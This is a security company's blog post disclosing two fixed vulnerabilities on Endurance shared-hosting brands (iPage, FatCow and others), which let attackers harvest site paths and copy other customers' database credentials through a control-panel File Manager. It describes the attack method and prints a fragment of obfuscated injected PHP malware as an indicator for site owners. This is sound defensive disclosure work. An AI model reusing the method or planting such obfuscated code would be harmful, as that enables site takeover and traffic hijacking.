Last year, we published two disclosures of service vulnerabilities on hosting platforms. The first one included a trio of brands: Hostway, Momentous, and Paragon Group. The second was for MelbourneIT. In all cases, we were happy to report that the affected companies took our disclosures seriously and moved quickly to fix the problems.
Today we’re announcing a similar disclosure for several brands owned by Endurance International Group, including iPage, FatCow, PowWeb, and NetFirms. A pair of vulnerabilities on these platforms allowed attackers to tamper with customers’ databases directly, without actually accessing their websites. Following our Vulnerability Disclosure Policy, we privately disclosed these problems to the Endurance team. Their response was immediate and exemplary: they communicated with us in order to understand the problems, activated their incident response team to conduct triage, implemented hotfixes within days, and implemented full fixes soon after. Their actions showed solid commitment to their customers’ security.
Attacks and Investigation
Our Security Services Team noticed a recent trend in customers whose sites were hosted on the affected platforms. An administrator account suddenly appeared in the sites, and attackers logged into that account and added malware to the sites using the WordPress theme editor. The account had the same unusual username (“badminton”) in each case. The malware was obfuscated, but performed the same function on each affected site, hijacking site traffic from search engines and redirecting visitors to spam sites.
The platforms do make site access logs available to site owners, but the logs didn’t show any unusual activity on the days of the attacks. We found no malware other than what the attackers added in the theme files, no vulnerable themes or plugins, and generally nothing in common across all the affected sites except that they were on the same set of hosting services.
As in the service vulnerabilities we published last year, it appeared that the attackers had a way to steal database credentials for our customers’ sites, and then interact with the database directly in order to create their rogue administrator accounts. We started to investigate whether that would be possible on the platforms in question, and eventually we discovered two vulnerabilities which allowed it to happen.
The balance of this article is most appropriate for a technical audience. If you are a less technical reader you may want to skip down to the “What You Need To Do” section below.
File and Directory Information Exposure Vulnerability
After compromising a site, it is common for attackers to explore filesystems on the server in order to search for other vulnerabilities. On the affected servers, we discovered that the /opt/users directory contained subdirectories revealing the names of the user accounts for every website on the platform.
For example, a website “example.com” on FatCow might run under the username moo.examplecom . There would be a corresponding directory for it at /opt/users/moo/e/x/moo.examplecom . Permissions on the /opt directory were lax enough that all the subdirectories could be listed by any user. So with a bit of scripting, it was possible to harvest the usernames for every website using FatCow shared hosting (and likewise the other affected brands). After our disclosure, permissions were fixed on /opt/users so that the contents can no longer be listed.
Insufficient Permissions Vulnerability
Four conditions existed that contributed to this vulnerability:
- Customer files are all stored on a shared file system.
- The full path to a user’s web root directory was public or could be guessed.
- All directories in the path to a customer’s site root directory were either world-traversable (the execute bit for ‘all users’ is 1) or group-traversable (the execute bit for ‘group’ is 1), and the sensitive files were world-readable (the read bit for ‘all users’ is 1) or group-readable (the read bit for ‘group’ is 1).
- An attacker could cause a program running in the group www to read files in arbitrary locations.
On the affected hosting platforms, all users’ files reside under a shared file system mounted at the directory /hermes . This satisfies the first condition of the Insufficient Permissions vulnerability.
The names of subdirectories in the full path to a site root directory follow a pattern. The full path for our fictional site example.com might be: /hermes/walnaweb15a/b1234/moo.examplecom/ .
Ownership and permissions on the file system follow a specific structure for each of the directories in the full path:
/hermes – root:root 0755 – since it is world-readable, its contents can be listed
/hermes/walnaweb15a – root:root 0711 – contents cannot be listed except by root, but can be guessed
/hermes/walnaweb15a/b1234 – root:root 0711 – contents cannot be listed except by root, but can be guessed
/hermes/walnaweb15a/b1234/moo.examplecom – moo.examplecom:www 0750 – contents can be listed by the owner or by any user belonging to the group “www”
The contents of directories like /hermes/walnaweb15a appear to follow a simple pattern – the letter “b” followed by one or more digits. Attackers would have noticed this by viewing the working directory of compromised sites, or even by searching Google for “/hermes/walnaweb” or similar directory names to view accidental full path disclosures. A script can easily find every subdirectory by checking for the existence of /hermes/walnaweb15a/b1, /hermes/walnaweb15a/b2, etc.
It is trickier but still possible to find the contents of the b* directories – this is where the File and Directory Information Exposure vulnerability would be used. Attackers could use scripting to iterate over each username and check for its existence in each b* directory. It’s inefficient, but the attacker could gradually build a large list of full paths to site root directories, satisfying the second condition of the Insufficient Permissions vulnerability.
As outlined above, the default permissions on directories and files on the affected platforms ensure that a program running in the group www can traverse into any user’s directory and read files in it, satisfying the third condition.
PHP scripts in any given user’s site run as that user and as the group cgiuser. As such, they don’t have permission to access other users’ files. However, the File Manager in the hosting control panel runs in the group www . Its operations seem to be restricted to a user’s own site root directory, but it can be manipulated to copy files from any location in the entire file system. So if an attacker crafts requests that point it to other users’ sensitive files, it will have sufficient privileges to copy those files into a directory under the attacker’s control.
After our disclosure, the flaws in the File Manager were patched, the platform administrators made architectural adjustments to address the permissions problems at a deeper level.
Remediation
Before the vulnerabilities were fixed, the only workaround for site owners was to set permissions on any sensitive file to 0600. This was not ideal, as there are a number of ways the permissions could be reset as a side effect of scripts running on the website or server. Thankfully, the Endurance team worked very quickly to fix the problems. Our disclosure was on May 7. They replied after hours acknowledging the report, and worked with us during the following two weeks. Their hotfixes were in place by May 10, and permanent fixes finished by May 15.
What You Need To Do
If you use shared hosting on any of the brands we mentioned, use Wordfence to check your site for issues. If your site was exploited before the fixes, the attackers may have added malware which could still be present. Our customers had obfuscated code added at the top of the active theme’s header.php file, similar to this:
<?php ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["dd\x70\x68z\x67\x64gx"]="sl\x77k\x77i";${"\x47\x4cO\x42\x41L\x53"}["c\x7a\x66\x6dubkdo\x6a\x78"]="\x6c\x6f\x63\x61t\x69\x6fn";${"\x47\x4c\x4fB\x41LS"}["\x67\x64\x64e\x74\x62p\x75f\x65i"]="\x68t\x6d\x6c";${"\x47\x4cOB\x41\x4cS"}["\x77i\x64\x68\x6bv\x6da"]="\x73t\x72\x66";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x66s\x75\x71\x79\x6evw"]="b\x6f\x74";${"\x47\x4cOBAL\x53"}["w\x6c\x79\x63\x61\x76\x62\x71\x68\x6f\x6c\x75"]="cac\x68\x65";${"G\x4cO\x42\x41L\x53"}["ry\x68\x72ku\x6b"]="\x73\x63h\x65\x6d\x65";${"\x47\x4c\x4f\x42\x41L\x53"}["\x74\x6a\x6bc\x64e\x65\x69w"]="\x73l\x77k\x77i\x32";${"G\x4cOBA\x4cS"}["\x79\x65\x64\x73\x67\x6ah\x69\x73\x67"]="\x73\x6c\x74l\x65\x69l\x73";
You should also check your list of user accounts and look for any rogue administrators. If your site has any of these issues, we recommend using our site cleaning service to fix them.
Conclusion
With the popularity of WordPress today, the security of the WordPress community at large is critically important. We are pleased to see that our approach to handling service vulnerabilities is working to support that need, and bringing about an improved overall security posture for the community.
Our Security Services Team continues to analyze hundreds of hacked websites each month, so we expect to find more of these in the future. We will continue to provide updates here on the blog.
Finally, a huge thank you to Matt Barry and Sean Murphy from our team for helping with the vulnerability research.
